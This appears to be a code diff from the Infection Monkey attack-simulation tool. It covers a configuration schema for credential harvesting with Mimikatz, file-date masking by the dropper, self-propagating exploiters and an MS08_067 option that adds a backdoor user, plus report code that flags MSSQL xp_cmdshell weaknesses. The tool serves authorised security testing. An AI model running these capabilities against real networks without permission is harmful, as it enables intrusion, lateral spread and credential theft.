"title": "Use file logging",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Should the monkey dump to a log file"
|
||||
},
|
||||
"serialize_config": {
|
||||
"title": "Serialize config",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey dump its config on startup"
|
||||
}
|
||||
}
|
||||
},
|
||||
"system_info": {
|
||||
"title": "System info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
},
|
||||
"collect_system_info": {
|
||||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to collect system info"
|
||||
},
|
||||
"should_use_mimikatz": {
|
||||
"title": "Should use Mimikatz",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use Mimikatz"
|
||||
},
|
||||
}
|
||||
},
|
||||
"life_cycle": {
|
||||
"title": "Life cycle",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"max_iterations": {
|
||||
"title": "Max iterations",
|
||||
"type": "integer",
|
||||
"default": 1,
|
||||
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
||||
},
|
||||
"victims_max_find": {
|
||||
"title": "Max victims to find",
|
||||
"type": "integer",
|
||||
"default": 30,
|
||||
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
||||
},
|
||||
"victims_max_exploit": {
|
||||
"title": "Max victims to exploit",
|
||||
"type": "integer",
|
||||
"default": 7,
|
||||
"description":
|
||||
"Determines the maximum number of machines the monkey"
|
||||
" is allowed to successfully exploit. " + WARNING_SIGN
|
||||
+ " Note that setting this value too high may result in the monkey propagating to "
|
||||
"a high number of machines"
|
||||
},
|
||||
"timeout_between_iterations": {
|
||||
"title": "Wait time between iterations",
|
||||
"type": "integer",
|
||||
"default": 100,
|
||||
"description":
|
||||
"Determines for how long (in seconds) should the monkey wait between iterations"
|
||||
},
|
||||
"retry_failed_explotation": {
|
||||
"title": "Retry failed exploitation",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the monkey should retry exploiting machines"
|
||||
" it didn't successfuly exploit on previous iterations"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"title": "Internal",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"singleton_mutex_name": {
|
||||
"title": "Singleton mutex name",
|
||||
"type": "string",
|
||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"description":
|
||||
"The name of the mutex used to determine whether the monkey is already running"
|
||||
},
|
||||
"keep_tunnel_open_time": {
|
||||
"title": "Keep tunnel open time",
|
||||
"type": "integer",
|
||||
"default": 60,
|
||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"classes": {
|
||||
"title": "Classes",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint classes",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/finger_classes"
|
||||
},
|
||||
"default": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
],
|
||||
"description": "Determines which classes to use for fingerprinting"
|
||||
}
|
||||
}
|
||||
},
|
||||
"kill_file": {
|
||||
"title": "Kill file",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"kill_file_path_windows": {
|
||||
"title": "Kill file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%windir%\\monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Windows)"
|
||||
},
|
||||
"kill_file_path_linux": {
|
||||
"title": "Kill file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/var/run/monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Linux)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"dropper": {
|
||||
"title": "Dropper",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_set_date": {
|
||||
"title": "Dropper sets date",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the dropper should set the monkey's file date to be the same as"
|
||||
" another file"
|
||||
},
|
||||
"dropper_date_reference_path_windows": {
|
||||
"title": "Dropper date reference path (Windows)",
|
||||
"type": "string",
|
||||
"default": "%windir%\\system32\\kernel32.dll",
|
||||
"description":
|
||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||
" so on Windows (use fullpath)"
|
||||
},
|
||||
"dropper_date_reference_path_linux": {
|
||||
"title": "Dropper date reference path (Linux)",
|
||||
"type": "string",
|
||||
"default": "/bin/sh",
|
||||
"description":
|
||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||
" so on Linux (use fullpath)"
|
||||
},
|
||||
"dropper_target_path_linux": {
|
||||
"title": "Dropper target path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/monkey",
|
||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||
},
|
||||
"dropper_target_path_win_32": {
|
||||
"title": "Dropper target path on Windows (32bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey32.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(32bit)"
|
||||
},
|
||||
"dropper_target_path_win_64": {
|
||||
"title": "Dropper target path on Windows (64bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey64.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(64 bit)"
|
||||
},
|
||||
"dropper_try_move_first": {
|
||||
"title": "Try to move first",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the dropper should try to move itsel instead of copying itself"
|
||||
" to target path"
|
||||
}
|
||||
}
|
||||
},
|
||||
"logging": {
|
||||
"title": "Logging",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_log_path_linux": {
|
||||
"title": "Dropper log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1562",
|
||||
"description": "The fullpath of the dropper log file on Linux"
|
||||
},
|
||||
"dropper_log_path_windows": {
|
||||
"title": "Dropper log file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%temp%\\~df1562.tmp",
|
||||
"description": "The fullpath of the dropper log file on Windows"
|
||||
},
|
||||
"monkey_log_path_linux": {
|
||||
"title": "Monkey log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1563",
|
||||
"description": "The fullpath of the monkey log file on Linux"
|
||||
},
|
||||
"monkey_log_path_windows": {
|
||||
"title": "Monkey log file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%temp%\\~df1563.tmp",
|
||||
"description": "The fullpath of the monkey log file on Windows"
|
||||
},
|
||||
"send_log_to_server": {
|
||||
"title": "Send log to server",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
||||
}
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"title": "Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_lm_hash_list": {
|
||||
"title": "Exploit LM hash list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [],
|
||||
"description": "List of LM hashes to use on exploits using credentials"
|
||||
},
|
||||
"exploit_ntlm_hash_list": {
|
||||
"title": "Exploit NTLM hash list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [],
|
||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||
},
|
||||
"exploit_ssh_keys": {
|
||||
"title": "SSH key pairs list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"default": [],
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"title": "Monkey Island",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"servers": {
|
||||
"title": "Servers",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"command_servers": {
|
||||
"title": "Command servers",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||
},
|
||||
"internet_services": {
|
||||
"title": "Internet services",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
],
|
||||
"description":
|
||||
"List of internet services to try and communicate with to determine internet"
|
||||
" connectivity (use either ip or domain)"
|
||||
},
|
||||
"current_server": {
|
||||
"title": "Current server",
|
||||
"type": "string",
|
||||
"default": "192.0.2.0:5000",
|
||||
"description": "The current command server the monkey is communicating with"
|
||||
}
|
||||
}
|
||||
},
|
||||
'aws_config': {
|
||||
'title': 'AWS Configuration',
|
||||
'type': 'object',
|
||||
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
|
||||
'properties': {
|
||||
'aws_account_id': {
|
||||
'title': 'AWS account ID',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS account ID that is subscribed to security hub feeds',
|
||||
'default': ''
|
||||
},
|
||||
'aws_access_key_id': {
|
||||
'title': 'AWS access key ID',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
|
||||
'default': ''
|
||||
},
|
||||
'aws_secret_access_key': {
|
||||
'title': 'AWS secret access key',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
|
||||
'default': ''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"title": "Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploiter_classes": {
|
||||
"title": "Exploits",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/exploiter_classes"
|
||||
},
|
||||
"default": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"MSSQLExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"description":
|
||||
"Determines which exploits to use. " + WARNING_SIGN
|
||||
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
||||
},
|
||||
"skip_exploit_if_file_exist": {
|
||||
"title": "Skip exploit if file exists",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
||||
" is already on the remote machine"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ms08_067": {
|
||||
"title": "MS08_067",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ms08_067_exploit_attempts": {
|
||||
"title": "MS08_067 exploit attempts",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Number of attempts to exploit using MS08_067"
|
||||
},
|
||||
"user_to_add": {
|
||||
"title": "Remote user",
|
||||
"type": "string",
|
||||
"default": "Monkey_IUSER_SUPPORT",
|
||||
"description": "Username to add on successful exploit"
|
||||
},
|
||||
"remote_user_pass": {
|
||||
"title": "Remote user password",
|
||||
"type": "string",
|
||||
"default": "Password1!",
|
||||
"description": "Password to use for created user"
|
||||
}
|
||||
}
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"title": "RDP grinder",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"rdp_use_vbs_download": {
|
||||
"title": "Use VBS download",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
||||
" (true=VBS, false=BITS)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"sambacry": {
|
||||
"title": "SambaCry",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sambacry_trigger_timeout": {
|
||||
"title": "SambaCry trigger timeout",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Timeout (in seconds) of SambaCry trigger"
|
||||
},
|
||||
"sambacry_folder_paths_to_guess": {
|
||||
"title": "SambaCry folder paths to guess",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
'/',
|
||||
'/mnt',
|
||||
'/tmp',
|
||||
'/storage',
|
||||
'/export',
|
||||
'/share',
|
||||
'/shares',
|
||||
'/home'
|
||||
],
|
||||
"description": "List of full paths to share folder for SambaCry to guess"
|
||||
},
|
||||
"sambacry_shares_not_to_check": {
|
||||
"title": "SambaCry shares not to check",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"IPC$", "print$"
|
||||
],
|
||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||
}
|
||||
}
|
||||
},
|
||||
"smb_service": {
|
||||
"title": "SMB service",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"smb_download_timeout": {
|
||||
"title": "SMB download timeout",
|
||||
"type": "integer",
|
||||
"default": 300,
|
||||
"description":
|
||||
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
||||
},
|
||||
"smb_service_name": {
|
||||
"title": "SMB service name",
|
||||
"type": "string",
|
||||
"default": "InfectionMonkey",
|
||||
"description": "Name of the SMB service that will be set up to download monkey"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"title": "Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tcp_scanner": {
|
||||
"title": "TCP scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"HTTP_PORTS": {
|
||||
"title": "HTTP ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"description": "List of ports the monkey will check if are being used for HTTP"
|
||||
},
|
||||
"tcp_target_ports": {
|
||||
"title": "TCP target ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
],
|
||||
"description": "List of TCP ports the monkey will check whether they're open"
|
||||
},
|
||||
"tcp_scan_interval": {
|
||||
"title": "TCP scan interval",
|
||||
"type": "integer",
|
||||
"default": 0,
|
||||
"description": "Time to sleep (in milliseconds) between scans"
|
||||
},
|
||||
"tcp_scan_timeout": {
|
||||
"title": "TCP scan timeout",
|
||||
"type": "integer",
|
||||
"default": 3000,
|
||||
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
||||
},
|
||||
"tcp_scan_get_banner": {
|
||||
"title": "TCP scan - get banner",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the TCP scan should try to get the banner"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ping_scanner": {
|
||||
"title": "Ping scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ping_scan_timeout": {
|
||||
"title": "Ping scan timeout",
|
||||
"type": "integer",
|
||||
"default": 1000,
|
||||
"description": "Maximum time (in milliseconds) to wait for ping response"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"options": {
|
||||
"collapsed": True
|
||||
}
|
||||
}
|
|
@ -6,6 +6,7 @@ import cc.services.log
|
|||
from cc.database import mongo
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.utils import local_ip_addresses
|
||||
import socket
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -41,6 +42,7 @@ class NodeService:
|
|||
# node is uninfected
|
||||
new_node = NodeService.node_to_net_node(node, for_report)
|
||||
new_node["ip_addresses"] = node["ip_addresses"]
|
||||
new_node["domain_name"] = node["domain_name"]
|
||||
|
||||
for edge in edges:
|
||||
accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
|
||||
|
@ -62,7 +64,10 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def get_node_label(node):
|
||||
return node["os"]["version"] + " : " + node["ip_addresses"][0]
|
||||
domain_name = ""
|
||||
if node["domain_name"]:
|
||||
domain_name = " ("+node["domain_name"]+")"
|
||||
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
|
||||
|
||||
@staticmethod
|
||||
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
||||
|
@ -137,6 +142,7 @@ class NodeService:
|
|||
"group": NodeService.get_monkey_group(monkey),
|
||||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"domain_name": ""
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
|
@ -176,10 +182,11 @@ class NodeService:
|
|||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def insert_node(ip_address):
|
||||
def insert_node(ip_address, domain_name=''):
|
||||
new_node_insert_result = mongo.db.node.insert_one(
|
||||
{
|
||||
"ip_addresses": [ip_address],
|
||||
"domain_name": domain_name,
|
||||
"exploited": False,
|
||||
"creds": [],
|
||||
"os":
|
||||
|
@ -191,10 +198,10 @@ class NodeService:
|
|||
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
||||
|
||||
@staticmethod
|
||||
def get_or_create_node(ip_address):
|
||||
def get_or_create_node(ip_address, domain_name=''):
|
||||
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
|
||||
if new_node is None:
|
||||
new_node = NodeService.insert_node(ip_address)
|
||||
new_node = NodeService.insert_node(ip_address, domain_name)
|
||||
return new_node
|
||||
|
||||
@staticmethod
|
||||
|
@ -261,6 +268,7 @@ class NodeService:
|
|||
def get_monkey_island_node():
|
||||
island_node = NodeService.get_monkey_island_pseudo_net_node()
|
||||
island_node["ip_addresses"] = local_ip_addresses()
|
||||
island_node["domain_name"] = socket.gethostname()
|
||||
return island_node
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -3,13 +3,14 @@ import functools
|
|||
|
||||
import ipaddress
|
||||
import logging
|
||||
|
||||
from bson import json_util
|
||||
from enum import Enum
|
||||
|
||||
from six import text_type
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.environment.environment import load_env_from_file, AWS
|
||||
from cc.resources.aws_exporter import AWSExporter
|
||||
from cc.report_exporter_manager import ReportExporterManager
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
|
@ -39,7 +40,8 @@ class ReportService:
|
|||
'ShellShockExploiter': 'ShellShock Exploiter',
|
||||
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
|
||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||
'MSSQLExploiter': 'MSSQL Exploiter'
|
||||
}
|
||||
|
||||
class ISSUES_DICT(Enum):
|
||||
|
@ -54,7 +56,8 @@ class ReportService:
|
|||
STRUTS2 = 8
|
||||
WEBLOGIC = 9
|
||||
HADOOP = 10
|
||||
PTH_CRIT_SERVICES_ACCESS = 11
|
||||
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||
MSSQL = 12
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -128,7 +131,8 @@ class ReportService:
|
|||
list((x['hostname'] for x in
|
||||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||
'services': node['services']
|
||||
'services': node['services'],
|
||||
'domain_name': node['domain_name']
|
||||
})
|
||||
|
||||
logger.info('Scanned nodes generated for reporting')
|
||||
|
@ -148,6 +152,7 @@ class ReportService:
|
|||
{
|
||||
'label': monkey['label'],
|
||||
'ip_addresses': monkey['ip_addresses'],
|
||||
'domain_name': monkey['domain_name'],
|
||||
'exploits': list(set(
|
||||
[ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
|
||||
exploit['result']]))
|
||||
|
@ -328,6 +333,12 @@ class ReportService:
|
|||
processed_exploit['type'] = 'hadoop'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_mssql_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||
processed_exploit['type'] = 'mssql'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_exploit(exploit):
|
||||
exploiter_type = exploit['data']['exploiter']
|
||||
|
@ -342,7 +353,8 @@ class ReportService:
|
|||
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
||||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||
'HadoopExploiter': ReportService.process_hadoop_exploit
|
||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||
'MSSQLExploiter': ReportService.process_mssql_exploit
|
||||
}
|
||||
|
||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||
|
@ -570,6 +582,7 @@ class ReportService:
|
|||
PTHReportService.get_duplicated_passwords_issues,
|
||||
PTHReportService.get_strong_users_on_crit_issues
|
||||
]
|
||||
|
||||
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
||||
|
||||
issues_dict = {}
|
||||
|
@ -642,6 +655,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
||||
elif issue['type'] == 'weblogic':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
|
||||
elif issue['type'] == 'mssql':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
|
||||
elif issue['type'] == 'hadoop':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
|
@ -677,9 +692,7 @@ class ReportService:
|
|||
@staticmethod
|
||||
def is_report_generated():
|
||||
generated_report = mongo.db.report.find_one({})
|
||||
if generated_report is None:
|
||||
return False
|
||||
return True
|
||||
return generated_report is not None
|
||||
|
||||
@staticmethod
|
||||
def generate_report():
|
||||
|
@ -726,14 +739,29 @@ class ReportService:
|
|||
'latest_monkey_modifytime': monkey_latest_modify_time
|
||||
}
|
||||
}
|
||||
ReportService.export_to_exporters(report)
|
||||
ReportExporterManager().export(report)
|
||||
mongo.db.report.drop()
|
||||
mongo.db.report.insert_one(report)
|
||||
mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report))
|
||||
|
||||
return report
|
||||
|
||||
@staticmethod
|
||||
def encode_dot_char_before_mongo_insert(report_dict):
|
||||
"""
|
||||
mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode
|
||||
,,, combo instead.
|
||||
:return: dict with formatted keys with no dots.
|
||||
"""
|
||||
report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
|
||||
return json_util.loads(report_as_json)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def is_latest_report_exists():
|
||||
"""
|
||||
This function checks if a monkey report was already generated and if it's the latest one.
|
||||
:return: True if report is the latest one, False if there isn't a report or its not the latest.
|
||||
"""
|
||||
latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
|
||||
|
||||
if latest_report_doc:
|
||||
|
@ -743,10 +771,19 @@ class ReportService:
|
|||
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def decode_dot_char_before_mongo_insert(report_dict):
|
||||
"""
|
||||
this function replaces the ',,,' combo with the '.' char instead.
|
||||
:return: report dict with formatted keys (',,,' -> '.')
|
||||
"""
|
||||
report_as_json = json_util.dumps(report_dict).replace(',,,', '.')
|
||||
return json_util.loads(report_as_json)
|
||||
|
||||
@staticmethod
|
||||
def get_report():
|
||||
if ReportService.is_latest_report_exists():
|
||||
return mongo.db.report.find_one()
|
||||
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
|
||||
return ReportService.generate_report()
|
||||
|
||||
@staticmethod
|
||||
|
@ -754,16 +791,3 @@ class ReportService:
|
|||
return mongo.db.edge.count(
|
||||
{'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}},
|
||||
limit=1) > 0
|
||||
|
||||
@staticmethod
|
||||
def get_active_exporters():
|
||||
# This function should be in another module in charge of building a list of active exporters
|
||||
exporters_list = []
|
||||
if str(load_env_from_file()) == AWS:
|
||||
exporters_list.append(AWSExporter)
|
||||
return exporters_list
|
||||
|
||||
@staticmethod
|
||||
def export_to_exporters(report):
|
||||
for exporter in ReportService.get_active_exporters():
|
||||
exporter.handle_report(report)
|
||||
|
|
|
@ -13,6 +13,13 @@ class WMIHandler(object):
|
|||
self.monkey_id = monkey_id
|
||||
self.info_for_mongo = {}
|
||||
self.users_secrets = user_secrets
|
||||
if not wmi_info:
|
||||
self.users_info = ""
|
||||
self.groups_info = ""
|
||||
self.groups_and_users = ""
|
||||
self.services = ""
|
||||
self.products = ""
|
||||
else:
|
||||
self.users_info = wmi_info['Win32_UserAccount']
|
||||
self.groups_info = wmi_info['Win32_Group']
|
||||
self.groups_and_users = wmi_info['Win32_GroupUser']
|
||||
|
@ -25,6 +32,7 @@ class WMIHandler(object):
|
|||
self.add_users_to_collection()
|
||||
self.create_group_user_connection()
|
||||
self.insert_info_to_mongo()
|
||||
if self.info_for_mongo:
|
||||
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
|
||||
self.update_admins_retrospective()
|
||||
self.update_critical_services()
|
||||
|
|
|
@ -29,7 +29,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
STRUTS2: 8,
|
||||
WEBLOGIC: 9,
|
||||
HADOOP: 10,
|
||||
PTH_CRIT_SERVICES_ACCESS: 11
|
||||
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||
MSSQL: 12
|
||||
};
|
||||
|
||||
Warning =
|
||||
|
@ -104,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
.then(res => res.json())
|
||||
.then(res => {
|
||||
res.edges.forEach(edge => {
|
||||
edge.color = edgeGroupToColor(edge.group);
|
||||
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||
});
|
||||
this.setState({graph: res});
|
||||
this.props.onStatusChange();
|
||||
|
@ -341,6 +342,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
||||
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
|
||||
{this.state.report.overview.issues[this.Issue.MSSQL] ?
|
||||
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
|
||||
</ul>
|
||||
</div>
|
||||
:
|
||||
|
@ -412,7 +415,6 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div>
|
||||
{this.generateIssues(this.state.report.recommendations.issues)}
|
||||
</div>
|
||||
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
@ -867,7 +869,23 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
|
||||
generateMSSQLIssue(issue) {
|
||||
return(
|
||||
<li>
|
||||
Disable the xp_cmdshell option.
|
||||
<CollapsibleWellComponent>
|
||||
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||
className="label label-danger">MSSQL exploit attack</span>.
|
||||
<br/>
|
||||
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
|
||||
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a
|
||||
href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
|
||||
Microsoft's documentation. </a>
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateIssue = (issue) => {
|
||||
let data;
|
||||
|
@ -935,6 +953,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
case 'hadoop':
|
||||
data = this.generateHadoopIssue(issue);
|
||||
break;
|
||||
case 'mssql':
|
||||
data = this.generateMSSQLIssue(issue);
|
||||
break;
|
||||
}
|
||||
return data;
|
||||
};
|
||||
